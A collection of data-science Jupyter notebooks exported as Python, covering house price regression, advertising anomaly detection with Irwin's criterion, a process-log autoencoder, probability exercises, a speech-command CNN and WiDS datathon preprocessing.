Regression\nxgb_reg_bos = XGBRegressor(max_depth=10, eta=0.026)\nxgb_reg_bos.fit(X_bos_train_scaled, y_bos_train)\nprint(xgb_reg_bos.score(X_bos_train_scaled, y_bos_train), xgb_reg_bos.score(X_bos_test_scaled, y_bos_test))\n\n# Providence: KNN\nfrom sklearn import neighbors\nfor k in range(1, 15):\n knn_pro = neighbors.KNeighborsRegressor(n_neighbors = k)\n knn_pro.fit(X_pro_train_scaled, y_pro_train)\n print(f\"neighbors: {k}\", knn_pro.score(X_pro_train_scaled, y_pro_train), knn_pro.score(X_pro_test_scaled, y_pro_test))\n\n# Try to apply XGB Regression to Providence data\nX_pro_test_scaled = scaler_pro.transform(X_pro_test)*10\n\nxgb_reg_pro = XGBRegressor(max_depth=8, eta=0.026)\nxgb_reg_pro.fit(X_pro_train_scaled, y_pro_train)\nprint(xgb_reg_pro.score(X_pro_train_scaled, y_pro_train), xgb_reg_pro.score(X_pro_test_scaled, y_pro_test))\n\n# Evaluate the model\n# Boston\ny_bos_pred = xgb_reg_bos.predict(X_bos_test_scaled)\nbos_compare = pd.DataFrame({'y_bos_pred': y_bos_pred, 'y_bos_test': y_bos_test})\n\nsns.scatterplot(data=bos_compare, x=bos_compare['y_bos_test'], y=(bos_compare['y_bos_pred']-bos_compare['y_bos_test']))\nplt.title(\"Boston Prediction Error\")\nplt.show()\n\n# Providence\ny_pro_pred = xgb_reg_pro.predict(X_pro_test_scaled)\npro_compare = pd.DataFrame({'y_pro_pred': y_pro_pred, 'y_pro_test': y_pro_test})\nsns.scatterplot(data=pro_compare, x=pro_compare['y_pro_test'], y=(pro_compare['y_pro_pred']-pro_compare['y_pro_test']))\nplt.title(\"Providence Prediction Error\")\nplt.show()\n\n# +\n# Oh, it predicts not so great especially when it comes to the high price houses.\n","repo_name":"lorryzzl/Data-Science-Projects","sub_path":"US House Price Prediction.ipynb","file_name":"US House Price Prediction.ipynb","file_ext":"py","file_size_in_byte":7162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"28056898","text":"# ### Задача:\n# 1. Воспроизведите график числа рекламных событий по дням.\n# 2. Найдите причину резкого увеличения количества рекламных событий и объясните, что произошло.\n# 3. Предложите способ, который помог бы автоматически детектировать аномальные изменения метрик на графиках рекламной статистики. Иными словами, предложите алгоритм, который каждое утро анализирует данные за прошедшие сутки, и, если они сильно выбиваются из общего тренда, отправляет аналитику уведомление: на этом графике есть проблема за вчерашний день. Подумайте, как сделать детектор, который проверяет на аномалии каждый час, каждые пять минут в графике? Предложите вариант кода, который решает эту задачу. Реализовывать логику нотификации не нужно, только поиск аномального дня, часа, пятиминутки в данных рекламной статистики. \n#\n# Немного дополнительной информации о структуре рекламы ВКонтакте. Е��ть две основные группы рекламодателей: агентства и клиенты. Агентствами являются рекламные кабинеты юридических лиц. Среди клиентов же существуют как клиенты этих самых агентств, так и автономные рекламные кабинеты физических лиц, над которыми нет агентств. Рекламные кампании — это наборы рекламных объявлений. Они есть в каждом кабинете. \n#\n# ### Описание данных:\n#\n# **time** — время взаимодействия пользователя с рекламой в формате UnixTime;\n#\n# **event** — тип взаимодействия (click — клик на объявление, view — показ объявления, report — жалоба на объявление);\n#\n# **ad_cost_type** — тип трат рекламного объявления (CPM — траты за 1000 показов, CPC — траты за клик);\n#\n# **has_video** — наличие видео в объявлении (0 — нет, 1 — есть);\n#\n# **agency_union_id** — id рекламного агентства (если рекламный кабинет принадлежит физическому лицу, то ячейка будет заполнена значением 'no_agency');\n#\n# **client_union_id** — id рекламного клиента;\n#\n# **campaign_union_id** — id рекламной кампании;\n#\n# **ad_id** — id рекламного объявления;\n#\n# **platform** — платформа, с которой пользователь взаимодействовал с рекламой (web — веб-версия, mvk — мобильная версия, iphone — IOS-приложение, android — Android-приложение, wphone — Windows Phone-приложение).\n\n# +\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime as dt\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import FuncFormatter, IndexLocator\n# %matplotlib inline\n\nfrom collections import Counter, OrderedDict\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\n# -\n\ndataset = pd.read_csv(\"test_data.csv\")\ndataset['date'] = pd.to_datetime(dataset['date'])\n# dataset[['time']] = scaler.fit_transform(dataset[['time']])\ndataset.head(5)\n\n\n# +\ndef get_x_y(date): \n date_number_of_interactions = OrderedDict(sorted(Counter(date[\"date\"]).items(), key=lambda x: x[0]))\n x = date_number_of_interactions.keys()\n y = list(date_number_of_interactions.values())\n x = [dt.strftime(d, '%b %#d') for d in x]\n return x, y\n \ndef build_plot(dataset, dataset_2 = None):\n def y_fmt(x, pos):\n return '{}k'.format(int(x//1000))\n\n fig = plt.figure(figsize=(15, 5))\n ax = plt.gca()\n ax.xaxis.set_major_locator(IndexLocator(2,1))\n ax.yaxis.set_major_formatter(FuncFormatter(y_fmt))\n ax.axes.tick_params(length=0, pad=0) \n\n ax.set_xlabel('Дни')\n ax.set_ylabel('Количество действий с рекламными объявлениями')\n ax.set_title('Распределение действий с рекламными объявлениями', fontsize=15, pad=30)\n \n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['bottom'].set_visible(False)\n ax.spines['left'].set_visible(False)\n\n ax.grid()\n x, y = get_x_y(dataset)\n plt.plot(x,y,marker='o', label='До')\n if dataset_2 is not None:\n x, y = get_x_y(dataset_2)\n plt.plot(x,y,marker='o', c='r', label='После')\n handles, labels = ax.get_legend_handles_labels()\n ax.legend(handles, labels)\n\n plt.draw()\n labels = [item.get_text() for item in ax.get_xticklabels()]\n labels[0] += '\\n2019'\n ax.set_xticklabels(labels)\n plt.show()\n\n\n# -\n\nbuild_plot(dataset)\n\n# ## Рассмотрим данные только за 11 апреля\n\ncat_dataset = dataset.copy()\ncat_columns = cat_dataset.select_dtypes(['object']).columns\nmappings = {}\nfor column in cat_columns:\n mappings[column] = cat_dataset[column].astype('category').cat.categories\ncat_dataset[cat_columns] = cat_dataset[cat_columns].apply(lambda x: x.astype('category').cat.codes)\n\nstrange_date = Counter(cat_dataset[\"date\"]).most_common(1)[0][0]\nnew_dataset = cat_dataset[cat_dataset[\"date\"] == strange_date]\nnew_dataset = new_dataset.drop('date', axis=1)\nnew_dataset[['time']] = scaler.fit_transform(new_dataset[['time']])\nnew_dataset.head(5)\n\n# ### Число дублирующихся строк:\n\nprint(len(new_dataset) - len(new_dataset.drop_duplicates()))\n\n# Число дублирующихся строк незначительно, в данных по-прежнему наблюдается всплекс. Удалим ду��лирующиеся данные.\n\nnew_dataset = new_dataset.drop_duplicates()\nnew_dataset.head(5)\n\n# ### Построим гистограмму встречаемости признаков 11 апреля\n\nfor column in new_dataset.columns:\n new_dataset.plot(y=column, kind='hist', title=column)\n\n# Из гистограмм видно, что в этот день произошло какое-то гигансткое количество просмотров одного и того же объявления. Исходя из того, что для этого объявления оплата происходит за 1000 просмотров, можно предположить, что данное рекламное объявление вызвало бурную реакцию у пользователей, которые срочно решили поделиться им со своими друзьями.\n\nmost_popular_adv = new_dataset['ad_id'].value_counts().idxmax()\nprint(\"Самое популярное объявление за 11 апреля:\", mappings['ad_id'][most_popular_adv])\n\n# Посмотри как измениться график при удалении данного объявления из всех данных: \n\nbuild_plot(dataset, dataset.loc[dataset['ad_id'] != mappings['ad_id'][most_popular_adv]])\n\n\n# ### Появление выброса в данных будем отслеживать с помощью критерия Ирвина\n\n# Статистика критерия:\n# $$ s = \\frac{|Y_t - T_{t-1}|}{ \\sigma} $$\n#\n# Точка $Y_t$ считается аномальной, если $ s > s_{crit}$.\n\ndef irvin_crit(n):\n if n == 2:\n return 2.77\n elif n == 3:\n return 2.17\n return -229.21*(n**(-3)) + 422.39*(n**(-2.5)) -\\\n 320.96*(n**(-2)) + 124.594*(n**(-1.5)) - \\\n 26.15*(n**(-1)) + 4.799*(n**(-0.5)) + 0.7029\n\n\ndef irvin_criteria(x, y, n, alpha=0.05, all_prev=False):\n prev = y[:n]\n for i, val in enumerate(y[n:]):\n prev.append(val)\n if not all_prev:\n prev = prev[-n:]\n s = (val - prev[-2]) / np.std(prev, ddof = 1)\n if s > irvin_crit(len(prev)):\n print(\"Аномалия: \", x[i+n])\n\n\n# ### Проверим выбросы для каждого дня\n# Применим критерий Ирвина для уровня значимости $\\alpha$ = 0.05. Наличие выброса будем оценивать по пяти предыдущим дням.\n\nx, y = get_x_y(dataset)\nirvin_criteria(x, y, n=5)\n\n# Наличие выброса будем оценивать, начиная с 3 апреля, по всем предыдущим дням.\n\nirvin_criteria(x, y, n=2, alpha=0.05, all_prev=True)\n\n# ### Проверим на выбросы каждый час, каждые пять минут данные за 11 апреля. Будем учитывать все предыдущие наблюдения.\n\ndf = dataset[dataset[\"date\"] == strange_date]\n\nfive_minutes = 300\none_hour = 3600\n\nimport datetime \ndef irvin_test(df, n, timedelta):\n x = np.arange(df['time'].min(), df['time'].max(), timedelta) \n x_ = [pair for pair in zip(x[:-1], x[1:])]\n y = [len(df.loc[(df['time'] >= pair[0]) & (df['time'] < pair[1])]) for pair in x_]\n fig = plt.figure(figsize=(20, 7))\n x = [dt.strftime(dt.fromtimestamp(d), '%H:%M') for d in x]\n plt.plot(x[:-1], y, marker='o', c='b')\n ax = plt.gca()\n ax.set_xlabel('Время')\n ax.set_ylabel('Количество действий с рекламными объявлениями')\n ax.set_title('Распределение действий с рекламными объявлениями 11 апреля по часам', fontsize=15, pad=30)\n ax.grid()\n if timedelta == 300:\n ax.xaxis.set_major_locator(IndexLocator(10,1))\n ax.set_title('Распределение действий с рекламными объявлениями 11 апреля по пятиминуткам', fontsize=15, pad=30)\n plt.show()\n prev = y[:n]\n for i, val in enumerate(y[n:]):\n prev.append(val)\n s = (val - prev[-2]) / np.std(prev, ddof=1)\n if s > irvin_crit(len(prev)):\n print(\"Аномалия: \", x[i+n])\n\n\nirvin_test(df, 5, one_hour)\n\nirvin_test(df, 20, five_minutes)\n\n\n","repo_name":"anastasia2145/Advertisement_vk","sub_path":"advertisement_test.ipynb","file_name":"advertisement_test.ipynb","file_ext":"py","file_size_in_byte":10989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"29019523742","text":"# ## Pré-Processamento\n\n# +\nimport numpy as np\nimport pandas as pd\nimport sqlite3\nfrom datetime import datetime\n\ndados = sqlite3.connect('dados.db')\ncursor = dados.cursor()\n# Consulta teste realizada utilizando somente SQLite\n#cursor.execute(\"SELECT identificação, situacao, destino, transicao FROM log WHERE assunto='REGIME ESPECIAL DE TRIBUTAÇÃO - ALIMENTOS E CONGÊNERES' AND ano='2018' ORDER BY datahoracadastro AND identificação\")\n#print(cursor.fetchall())\ndf = pd.read_sql_query(\"SELECT identificação, situacao, duracao, datahoracadastro FROM log WHERE assunto='REGIME ESPECIAL DE TRIBUTAÇÃO - ALIMENTOS E CONGÊNERES' ORDER BY datahoracadastro AND identificação\",dados)\nprint('Número de eventos: ', len(df))\nprint('Número de traces: ', len(df['identificação'].unique()))\n# -\n\ndf = df.rename(columns={'identificação':'caseId','datahoracadastro':'cadastro'}) \ndf.shape\ndf.info()\ndf.describe()\ndf.isnull().sum()\n\n#Convertendo datahoracadastro em datetime64\nfrom datetime import datetime\ndf['cadastro'] = pd.to_datetime(df['cadastro'], errors='coerce')\n'''\n#Convertendo identificação de object para numerico (float64)\ndf['caseId'] = df['caseId'].str.replace('/','.') \ndf['caseId'] = df['caseId'].apply(pd.to_numeric)\ni = 0\nfor i in range(len(df.index)):\n df['caseId'][i] = round(df['caseId'][i], 0)\n\n#Convertendo identificação de float64 para numerico (int64)\ndf['caseId'] = df['caseId'].astype(np.int64)\n'''\ndf.head(8)\n\n# REMOVER SEQUÊNCIAS DE ATIVIDADES IGUAIS DE UM MESMO CASE_ID. ATRIBIR ULTIMA DATAHORACADASTRO DA SEQUÊNCIA. \nduplicated = (df['situacao'] == df['situacao'].shift(1)) & (df['caseId'] == df['caseId'].shift(1))\nfirst_id = 0\nfor id in df.index:\n if duplicated[id]:\n df.at[first_id,'cadastro'] = df.loc[id,'cadastro']\n else:\n first_id = id\ndf = df[~duplicated]\n\ndf= df.to_numpy()\ndf = pd.DataFrame(df)\ndf = df.rename(columns={0:'caseId',1:'situacao',2:'cadastro'}) \n\ndf.head()\n\n# ## Preparando Dados de Entrada \n\n#Filtrando Atividades\natividades = df['situacao'].unique()\n\n\n# +\n#preenchimento das matrizes com 1 caso ocorra atividade no dataframe avaliado\ndef trasforma(x,identificador):\n groups = df.groupby(df.caseId)\n grupo = groups.get_group(identificador)\n linha = 0\n j=0\n for j in grupo['situacao']:\n k = 0\n while(k linhas):\n linhas = grupo.shape[0]\n\n#O total de colunas é o total de atividades existentes\ncolunas = np.size(atividades)\n\n#Criando a matriz \nmatriz = np.zeros(shape=(linhas,colunas))\n\n\nj = 0\nidentificadores = df['caseId'].unique()\ndf_geral = []\nprox = 0\nfor j in range(df['caseId'].nunique()):\n \n x = matriz\n x = trasforma(x,identificadores[j])\n \n #y = pd.DataFrame(cria_coluna_caseId(linhas, identificadores[j]))\n #x = np.append(y, x, axis = 1)\n #x = pd.DataFrame(x)\n #x.columns = atividades\n #x.insert(0,'caseId',y)\n df_geral.append(x)\n# -\n\nimport torch\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\n\ndados = df_geral\ndataset = []\nfor k in range(len(df_geral)):\n amostra = []\n for i in dados[k]:\n for j in i:\n amostra.append(j)\n dataset.append(amostra)\ndataset = torch.Tensor(dataset)\nprint(len(dataset[1]))\nprint(dataset[1])\n\n# +\ndata_train = dataset[:2000]\ntrain_loader = DataLoader(data_train, batch_size=20, shuffle=True)\n\ndata_test = dataset\ntest_loader = DataLoader(data_test, batch_size=20, shuffle=True)\n\n\n# -\n\n# ## Construindo Autoencoder \n\n# get_device() retorna o dispositivo GPU se tiver, se não retorna CPU\ndef get_device():\n if torch.cuda.is_available():\n device = 'cuda:0'\n else:\n device = 'cpu'\n return device\n\n\ntam = len(dataset[1])\nclass Autoencoder(nn.Module):\n def __init__(self):\n super(Autoencoder, self).__init__()\n # encoder\n self.enc1 = nn.Linear(in_features=tam, out_features=64)\n self.enc2 = nn.Linear(in_features=64, out_features=32)\n self.enc3 = nn.Linear(in_features=32, out_features=16)\n # decoder \n self.dec1 = nn.Linear(in_features=16, out_features=32)\n self.dec2 = nn.Linear(in_features=32, out_features=64)\n self.dec3 = nn.Linear(in_features=64, out_features=tam)\n \n def forward(self, x):\n x = F.relu(self.enc1(x))\n x = F.relu(self.enc2(x))\n x = F.relu(self.enc3(x))\n \n x = F.relu(self.dec1(x))\n x = F.relu(self.dec2(x))\n x = F.relu(self.dec3(x))\n return x\nnet = Autoencoder().to(get_device())\nprint(net)\n\n# +\n#Definindo, a função de perda e o otimizador para nossa rede\ncriterio = nn.MSELoss() #Erro quadradico médio\notimizador = optim.Adam(net.parameters(), lr=0.001)\n\n#Função de treinamento do modelo\ndef train(model, train_loader , criterio, otimizador):\n model.train()\n cumloss = 0.0\n for x in train_loader:\n x = x.to(get_device())\n \n pred = model(x)\n loss = criterio(pred,x)\n \n loss.backward()\n otimizador.step()\n \n cumloss+= loss.item()\n return cumloss/len(train_loader)\n\n#Função de teste do modelo\ndef test(model, test_loader , criterio, otimizador):\n model.eval()\n cumloss = 0.0\n for x in test_loader:\n x = x.to(get_device())\n \n pred = model(x)\n loss = criterio(pred,x)\n \n cumloss+= loss.item()\n return cumloss/len(train_loader)\n\n\n# -\n\n# ## Testando modelo\n\nepocas = 100\nfor i in range(epocas):\n train_loss = train(net, train_loader, criterio,otimizador)\n if i % 10 == 0:\n print(f\"Epoca: {i}; Train Loss: {train_loss}\")\ntest_loss = test(net, test_loader, criterio,otimizador)\nprint(f\"Test Loss: {test_loss}\")\n\n\n","repo_name":"Wallesson/Autoencoder-Deteccao-de-Anomalias","sub_path":"Meu_Autoenconder.ipynb","file_name":"Meu_Autoenconder.ipynb","file_ext":"py","file_size_in_byte":6283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"6206903457","text":"# %matplotlib inline \n# !pip install -q matplotlib_venn\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib_venn import venn2\nfrom itertools import *\nfrom random import *\n\n# +\nfrom fractions import Fraction \n\n# pretty fractions\nFraction.__repr__ = Fraction.__str__\nhtml_formatter = get_ipython().display_formatter.formatters['text/latex']\nhtml_formatter.for_type(Fraction, lambda f: r\"$\\frac{%s}{%s}$\" % (f.numerator, f.denominator));\n\n# +\nfrom matplotlib_venn import venn2\n\n# pretty sets\ndef plot_set(*sets):\n venn2(sets)\n plt.show()\n return None\n\n\n# -\n\n# # Exercise: Mathematics -- Probability & Statistics\n\n# ## Probability Questions\n#\n# * define the function `probability(event, space)` which returns the probability that event occurs \n#\n# * define a set of outcomes (using `{,}`) for:\n# * `one_coin`: a single coin flip\n# * `two_coin`: two coin flips (HINT: each element is a pair)\n# * `one_dice`: a single dice roll\n# * `two_dice`: two dice rolls\n# * define this using a set comprehension\n# `{(first, second) for first in one_dice for second in one_dice}`\n# \n# * by manually writing out the event sets:\n# * what is the probability of:\n# * an odd number in one dice roll\n# * heads in one coin flip\n# * heads in either coin, of two coin flips\n#\n# * EXTRA:\n# * by generating the event set using a set comprehension:\n# * what is the probability of:\n# * getting a 6 on the second roll of a dice?\n# * getting a Tail on the first flip of a coin?\n#\n# HINT: `event_second6 = { e for e in outcomes if ...e...}`\n#\n# * define `P(predicate, space)` where `predicate` is a function from event -> bool\n# * HINT: perform the set comprehension within `P` using `predicate`\n# \n# * call `P()` with, eg. \n# * lambda die: (die[0] in {1, 2}) and (die[1] == 6)\n\n# ## Statistics Questions\n\n# Let's simulate sampling from a distribution, so that we can find out how good our samples need to be to get close to the true mean.\n\n# * define the outcome space for two dice rolls...\n\none_dice = {1,2,3,4,5,6}\ntwo_dice = {(first, second) for first in one_dice for second in one_dice}\n\n# * define a function called `score(event)` (a random variable) which takes one event (ie., two rolls) and calculates a real number\n# * eg., the average of both rolls\n# \n# * create a list of the population of all scores\n# * HINT: `[ rv(event) for event in space]`\n# \n# * create a list of 100 samples of 10 rols \n# * HINT: `sample(pop, 10)` to sample\n# * HINT: `[ ... for _ in range(100)]`\n# \n# * create a list of 100 sample means \n# * HINT: `sum(s)/len(s)` for every s\n# \n# * `sns.distplot()` the sample means\n#\n# * `plt.axvline(x, color=\"red\")` the mean of the sample means\n# * HINT: `sum()/len()`\n# \n# * `plt.axvline(x, color=\"red\")` the mean of the population\n#\n# * What is the effect of taking fewer samples?\n#\n#\n# ### EXTRA -- find the probability of getting a score greater than 4\n# * `from scipy import integrate, stats` and use `integrate.quad(f, low, high)`\n# 2. use the following as the function you're integrating, \n# * `norm = lambda x : stats.norm.pdf(x, mean, std)`\n# * where `mean` is the mean of your sample means, and `std` is their standard deviation\n# 3. integrate from 4 to `np.inf`\n# \n\n# +\nimport seaborn as sns\n\ndef rv_score(event):\n return sum(event)/len(event)\n\npopulation = [rv_score(roll) for roll in two_dice]\nsamples = [sample(population, 10) for _ in range(50)]\nsample_means = [sum(s)/len(s) for s in samples]\n\nplt.axvline(sum(population)/len(population), color=\"red\")\nplt.axvline(sum(sample_means)/len(sample_means), color=\"green\")\nsns.distplot(sample_means);\n# -\n\nfrom scipy import integrate, stats\n\n\ndef norm(x):\n return stats.norm.pdf(x, sample_means.mean(), sample_means.std())\n\n\n\n# +\nsample_means = np.array(sample_means)\n\nnorm = lambda x : stats.norm.pdf(x, sample_means.mean(), sample_means.std())\nprob, conf = integrate.quad(norm, 4, np.inf)\n\nf\"{prob * 100:.2f} %\"\n","repo_name":"mjburgess/notes-fbda","sub_path":"xpml/Advanced/04-Mathematics/EG-MT-PB.ipynb","file_name":"EG-MT-PB.ipynb","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"21361838994","text":"# +\nimport sys\nsys.path.append(\"..\")\nimport speech_recognition.helper as helper\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.style.use('seaborn-deep')\n# %matplotlib inline\n\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import InputLayer, Dense, Flatten, BatchNormalization\nfrom tensorflow.keras.callbacks import EarlyStopping\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import InputLayer, Dense, Flatten, BatchNormalization, Dropout \nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, GlobalMaxPooling2D\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.callbacks import EarlyStopping\n# -\n\n# # Loading and Reshaping Data\n#\n# We'll start again by reading in the data we extracted earlier. We'll still only be reading in the command words as these are what the neural network will be trained on.\n\n# +\nX_train, y_train = helper.get_fold_data('train', helper.COMMAND_WORDS)\nX_val, y_val = helper.get_fold_data('validation', helper.COMMAND_WORDS)\nX_test, y_test = helper.get_fold_data('test', helper.COMMAND_WORDS)\n\nprint('Number of training samples: {}'.format(len(X_train)))\nprint('Number of validation samples: {}'.format(len(X_val)))\nprint('Number of testing samples: {}'.format(len(X_test)))\nprint('Shape of each sample: {}'.format(X_train[0].shape))\n# -\n\n#holds counts of each word for each fold\nword_counts = pd.DataFrame()\nfor fold, y in zip(['train', 'validation', 'test'], [y_train, y_val, y_test]):\n word_counts[fold] = pd.Series(y).value_counts()\nword_counts = word_counts.sort_index()\nword_counts\n\n# Now that we've loaded in the data, we'll need to follow the same process of reformatting it a little so that we can feed it into our neural networks. For the y values, we'll need to transform the labelled words into one hot encoded integers. We'll also need to reshape the X values so that it can be treated as an image.\n\n# +\nX_train_img = helper.reformat_X(X_train)\nX_val_img = helper.reformat_X(X_val)\nX_test_img = helper.reformat_X(X_test)\n\ny_train_hot = helper.reformat_y(y_train)\ny_val_hot = helper.reformat_y(y_val)\ny_test_hot = helper.reformat_y(y_test)\n \nprint('X_train shape: {}'.format(X_train_img.shape))\nprint('y_train_hot shape: {}'.format(y_train_hot.shape))\n# -\n\n# # Convolutional Neural Network\n#\n# Let's see how a convolutional neural network performs on the data. We'll need to flatten the X values and normalize them first so that the optimizer won't get stuck. For this model, we'll be using the default Adam optimizer. We'll also add an early stopping monitor so that the model stops running once the validation loss hasn't decreased in 3 epochs.\n\nmodel = Sequential()\nmodel.add(InputLayer(input_shape=(X_train_img[0].shape)))\nmodel.add(BatchNormalization())\nmodel.add(Conv2D(128, kernel_size=(2, 2), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(256, kernel_size=(2, 2), activation='relu'))\nmodel.add(Conv2D(512, kernel_size=(2, 2), activation='relu'))\nmodel.add(Dropout(0.2))\nmodel.add(GlobalMaxPooling2D())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(64, activation='relu'))\nmodel.add(Dense(11, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\nmodel.fit(X_train_img, y_train_hot, batch_size=128, epochs=30, verbose=1,\n validation_data=(X_val_img, y_val_hot), callbacks=[EarlyStopping(patience=3)])\n\n# +\nscore = model.evaluate(x=X_test_img, y=y_test_hot)\n\nfor name, value in zip(model.metrics_names, score):\n print(name, value)\n# -\n\n# We already see an improvement in accuracy from our feedforward neural network from ~81% to ~93%. The loss also decreased from ~0.62 to ~0.21.\n\ny_pred_val = model.predict_classes(x=X_val_img)\nhelper.plot_confusion_matrix(y_val, y_pred_val);\n\n# This confusion matrix shows us more clearly the vast improvements the CNN has over the simpler models. It's starting to approach the ideal confusion matrix of a straight line down the main diagonal. Still, it has the most trouble classifying \"no\" and \"go,\" often confusing them for each other or predicting them to be \"down.\" Hopefully, adding in augmented data later will help decrease these misclassifications further.\n\n# # Adding Unknown Detection\n#\n# One last feature the models have been missing so far is to classify words not in the command set as \"unknown.\" We could train it on the 25 words not in the command words set, and label them as unknown. This would work with the data we're given, but we want it to be able to predict any given word or noise it doesn't understand as unknown. One way of doing this is to train on the command words and to validate and test on the entire sample set, classifying any words under a certain confidence threshold as \"unknown.\" We can then tune this confidence threshold to maximize accuracy, or maybe minimize false positive rate depending on which metric is considered more important.\n#\n# Let's start by testing on the entire dataset and seeing what distribution of confidences our model is giving for words it classifies correctly, those in the command words set it misclassifies, and unknown words.\n\n# +\n#reading in entire dataset\nX_train_total, y_train_total = helper.get_fold_data('train')\nX_val_total, y_val_total = helper.get_fold_data('validation')\nX_test_total, y_test_total = helper.get_fold_data('test')\n\nX_img_total = {'train': helper.reformat_X(X_train_total),\n 'val': helper.reformat_X(X_val_total),\n 'test': helper.reformat_X(X_test_total)}\n\ny_obs_total = {'train': y_train_total,\n 'val': y_val_total,\n 'test': y_test_total}\n\n#predicting probabilities and classes on entire dataset\ny_pred_proba_total = {'train': model.predict(X_img_total['train']),\n 'val': model.predict(X_img_total['val']),\n 'test': model.predict(X_img_total['test'])}\n\n\ny_pred_classes_total = {'train': model.predict_classes(X_img_total['train']),\n 'val': model.predict_classes(X_img_total['val']),\n 'test': model.predict_classes(X_img_total['test'])}\n# -\n\nhelper.plot_hist_grid(y_obs_total, y_pred_proba_total, y_pred_classes_total,\n title='Convolutional Neural Network Max Prediction Confidence Distribution');\n\n# The convolutional neural network tends to be very confident in its predictions for correctly classified words. For words it knows that it misclassifies, the model can be anywhere from not confident at all to very confident. For words outside the command words set, the model tends to predict with very high confidence most of the time, but can also predict with low and medium confidence fairly frequently as well. Again, this could be due to the words sounding familiar to ones it does know (e.g. \"nine\" and \"no\").\n#\n# Based on the histograms above, we will want to set our threshold for predicting as unknown right around .95. This will eliminate most of the misclassified words it should know (the kind of error we want to avoid the most) without removing too many of the correctly classified words.\n\n# +\n#reclassifying words with a threshold less than .95 as 'unknown'\ny_pred_modified = {\n fold: helper.modify_pred_classes(y_pred_proba_total[fold],\n y_pred_classes_total[fold], thresh=.95)\n for fold in ['train', 'val', 'test']\n}\n\n#calculating new accuracy\nfor fold in ['train', 'val', 'test']:\n print(fold, 'accuracy:', helper.score_with_unknown(y_obs_total[fold], y_pred_modified[fold]))\n\nhelper.plot_confusion_matrix(y_obs_total['test'], y_pred_modified['test'], words=helper.COMMAND_WORDS+['unknown']);\n# -\n\n# Although we only have an accuracy of around 76% across the folds, the accuracy for most individual word is considerably higher than that. This is because of the large class disparity - over half of the total words are 'unknown'. These words are bringing down the overall accuracy. Still, we have very few other false positives. For command words, the model tends to predict them correctly or as unknown when it's not confident enough. This is exactly how we want it to behave.\n#\n# This model works well enough that we could stop here. Still, it has a hard time classifying the words \"no,\" \"go,\" and \"down.\" Looking forward, we will want to add augmented data for these words to help it classify them and improve performance further.\n","repo_name":"pspratling/Speech-Recognition","sub_path":"notebooks/2_convolutional_neural_network.ipynb","file_name":"2_convolutional_neural_network.ipynb","file_ext":"py","file_size_in_byte":8629,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"71470428189","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndf_train = pd.read_csv('training.csv')\ndf_test = pd.read_csv('unlabeled.csv')\n\ndf_train.head()\n\ndf_train.hospital_death.unique()\n\ndf_train_one = df_train.loc[:,'encounter_id': 'd1_diasbp_max']\ndf_train_two = df_train.loc[:, 'd1_diasbp_min': 'd1_albumin_max']\ndf_train_three = df_train.loc[:, 'd1_albumin_min': 'h1_lactate_max']\ndf_train_four = df_train.loc[:, 'h1_lactate_min':]\n\ndf_train_one.shape\n\nround(df_train_one.isna().sum()/len(df_train_one), 1)*100\n\nround(df_train_two.isna().sum()/len(df_train_two), 1)*100\n\nround(df_train_three.isna().sum()/len(df_train_three), 1)*100\n\ndf_train['hospital_admit_source'].isna().value_counts()\n\ndf_train['readmission_status'].value_counts() ## readmission status will be dropped\n\ndf_train_one.isna().describe().T\n\n# +\nnumeric_df = df_train._get_numeric_data()\nnumeric_df_test = df_test._get_numeric_data()\n\n(round(numeric_df.isna().sum()/len(numeric_df), 1)*100).head(50)\n# -\n\n\n\nnumeric_df.solid_tumor_with_metastasis.median()\n\nnumeric_df.fillna(-999, inplace = True)\n\n\nnumeric_df_test.fillna(-999, inplace = True)\n\nstring_df = df_train.select_dtypes(include = 'object')\n\nstring_df_test = df_test.select_dtypes(include = 'object')\nstring_df_test.fillna('unknown', inplace = True)\n\nstring_df.fillna(value = 'unknown', inplace = True)\n\nstring_df.shape\n\nstring_df.info()\n\nfilename = 'numeric_df.csv'\nnumeric_df.to_csv(filename,index = False)\nprint('saved file:' + filename)\n\nfilename = 'numeric_df_test.csv'\nnumeric_df_test.to_csv(filename,index = False)\nprint('saved file:' + filename)\n\nfilename = 'string_df.csv'\nstring_df.to_csv(filename,index = False)\nprint('saved file:' + filename)\n\nfilename = 'string_df_test.csv'\nstring_df_test.to_csv(filename,index = False)\nprint('saved file:' + filename)\n\nfrom sklearn.preprocessing import LabelEncoder\n\nencoder = LabelEncoder()\nencode = string_df.apply(encoder.fit_transform)\n\n\nencode_test = string_df_test.apply(encoder.fit_transform)\n\n\n\n\n\ntrain = numeric_df.join(encode)\n\ntest = numeric_df_test.join(encode_test)\n\ntrain.shape, test.shape\n\ndata_dict = pd.read_csv('WiDS Datathon 2020 Dictionary.csv')\ndata_dict.tail(60)\n\nsolution_template = 